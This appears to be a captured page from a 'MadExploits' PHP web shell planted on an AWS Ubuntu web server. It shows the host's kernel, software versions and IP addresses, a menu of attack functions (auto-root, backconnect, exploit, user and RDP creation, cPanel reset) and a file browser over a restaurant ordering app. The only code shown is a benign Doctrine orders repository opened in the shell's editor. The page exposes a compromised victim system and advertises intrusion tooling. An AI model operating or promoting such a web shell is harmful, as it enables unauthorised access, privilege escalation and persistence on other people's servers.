Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.116.80.77
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
src /
Repository /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
0
B
-rw-rw-r--
ActivityRepository.php
1.35
KB
-rw-rw-r--
CustomerRepository.php
1.35
KB
-rw-rw-r--
GroupsRepository.php
229
B
-rw-rw-r--
InventoryRepository.php
235
B
-rw-rw-r--
ItemPartRepository.php
1.9
KB
-rw-rw-r--
ItemRepository.php
648
B
-rw-rw-r--
OrderItemRepository.php
2.43
KB
-rw-rw-r--
OrdersRepository.php
5.33
KB
-rw-rw-r--
PlaceRepository.php
805
B
-rw-rw-r--
StockRepository.php
1.15
KB
-rw-rw-r--
SubscriptionRepository.php
1.39
KB
-rw-rw-r--
SupplierRepository.php
233
B
-rw-rw-r--
SupplyItemRepository.php
4.89
KB
-rw-rw-r--
SupplyRepository.php
655
B
-rw-rw-r--
TransactionRepository.php
1.38
KB
-rw-rw-r--
UsersRepository.php
1.32
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrdersRepository.php
<?php namespace App\Repository; /** * OrdersRepository * * This class was generated by the Doctrine ORM. Add your own custom * repository methods below. */ class OrdersRepository extends \Doctrine\ORM\EntityRepository { public function findPendingOrders($user) { return $this->getEntityManager() ->createQuery( 'SELECT oi.id as id, i.id as item_id, i.name as item_name, oi.price as item_price, oi.discount as discount, oi.quantity as quantity, o.id as order_id, o.date as order_date, o.status as status, o.amount as amount from App\Entity\Orders o, App\Entity\Item i, App\Entity\OrderItem oi where i.id = oi.itemId and o.id = oi.orderId and o.status = :pending and o.userId = :user' )->setParameter('pending', 'Pending') ->setParameter('user', $user) ->getResult(); } public function findPendingOrder($id, $user) { return $this->getEntityManager() ->createQuery( 'SELECT i.id as id, i.name as name, g.name as category, oi.price as price, oi.discount as discount, oi.quantity as quantity, o.id as orderid, o.status as status from App\Entity\Orders o, App\Entity\Item i, App\Entity\OrderItem oi, App\Entity\Groups g where i.id = oi.itemId and o.id = oi.orderId and o.status = :pending and o.userId = :user and o.id = :id and g.id = i.cId' )->setParameter('pending', 'Pending') ->setParameter('user', $user) ->setParameter('id', $id) ->getResult(); } /** * Delete Pending Order * **/ public function deletePendingOrder($id, $user) { return $this->getEntityManager() ->createQuery( 'DELETE FROM App\Entity\Orders o WHERE o.id = :id AND o.userId = :user' )->setParameter('id', $id) ->setParameter('user', $user) ->getResult(); } public function findOrder($id, $user) { return $this->getEntityManager() ->createQuery( 'SELECT o.id as id, o.date as date, o.amount as amount, o.payment as payment, o.status as status, s.name as waiter, u.name as cashier from App\Entity\Orders o, App\Entity\Users u, App\Entity\Staff s where o.staffId = s.id and o.cashier = u.id and o.id = :id AND o.userId = :user' )->setParameter('id', $id) ->setParameter('user', $user) ->getResult(); } public function findLastOrder($user) { return $this->getEntityManager() ->createQuery( 'SELECT o.id as id from App\Entity\Orders o WHERE o.userId = :user ORDER BY o.date DESC' )->setParameter('user', $user) ->setMaxResults(1) ->getResult(); } /** * Retrieve the total of orders placed today * **/ public function salesTotal($user, $start, $now) { // $start = new \DateTime(date('d-m-Y')); // $now = new \DateTime('now'); return $this->getEntityManager() ->createQuery( 'SELECT SUM(o.amount) FROM App\Entity\Orders o WHERE o.date BETWEEN :start AND :now AND o.userId = :user AND o.status = :status' )->setParameter('start', $start) ->setParameter('now', $now) ->setParameter('user', $user) ->setParameter('status', 'Completed') ->getSingleScalarResult(); } /** * Retrieve daily order totals for current month * **/ public function salesPeriod($user, $from, $to) { // $month = date('Y-m-01 H:i:s'); // $now = (new \DateTime('now'))->format('Y-m-d H:i:s'); $conn = $this->getEntityManager() ->getConnection(); $sql = "SELECT CAST(date AS DATE) as dates, SUM(amount) as amount FROM `orders` WHERE user_id = ? AND date BETWEEN ? AND ? GROUP BY CAST(date AS DATE)"; $stmt = $conn->prepare($sql); $stmt->bindValue(1, $user); $stmt->bindValue(2, $from); $stmt->bindValue(3, $to); $stmt->execute(); return $stmt->fetchAll(); } public function findPayment($dates, $user) { return $this->getEntityManager() ->createQuery( 'SELECT o.payment as payment, sum(o.amount) as amount from App\Entity\Orders o WHERE o.date > :dates AND o.userId = :user GROUP BY o.payment' )->setParameter('dates', $dates) ->setParameter('user', $user) ->getResult(); } public function printReport($dates) { $date = date('Y-m-d'); return $this->getEntityManager() ->createQuery( 'SELECT g.name as group_name, i.name as item_name, i.id as item_id, sum(oi.quantity) as quantity, sum((oi.price*oi.quantity)) as item_price, sum(oi.discount) as discount from App\Entity\Item i, App\Entity\Groups g, App\Entity\Orders o, App\Entity\OrderItem oi where oi.itemId = i.id and oi.orderId = o.id and i.cId = g.id and o.date > :dates group by g.name, i.name, i.id' )->setParameter('dates', '2017-08-31') ->getResult(); } // public function findCancelled($dates) // { // return $this->getEntityManager() // ->createQuery( // 'SELECT (:cancelled) as group_name, (:void) as cat_name, i.name as item_name, sum(c.price) as item_price, (:price) as discount, sum(c.quantity) as quantity from App\Entity\Item i, App\Entity\Cancelled c, App\Entity\Orders o where i.id = c.itemId and o.id = c.orderId and c.date > :dates group by group_name, cat_name, i.name' // )->setParameter('dates', '2017-08-31') // ->setParameter('cancelled', 'CANCELLED') // ->setParameter('void', 'VOID') // ->setParameter('price', 0) // ->getResult(); // } }
Close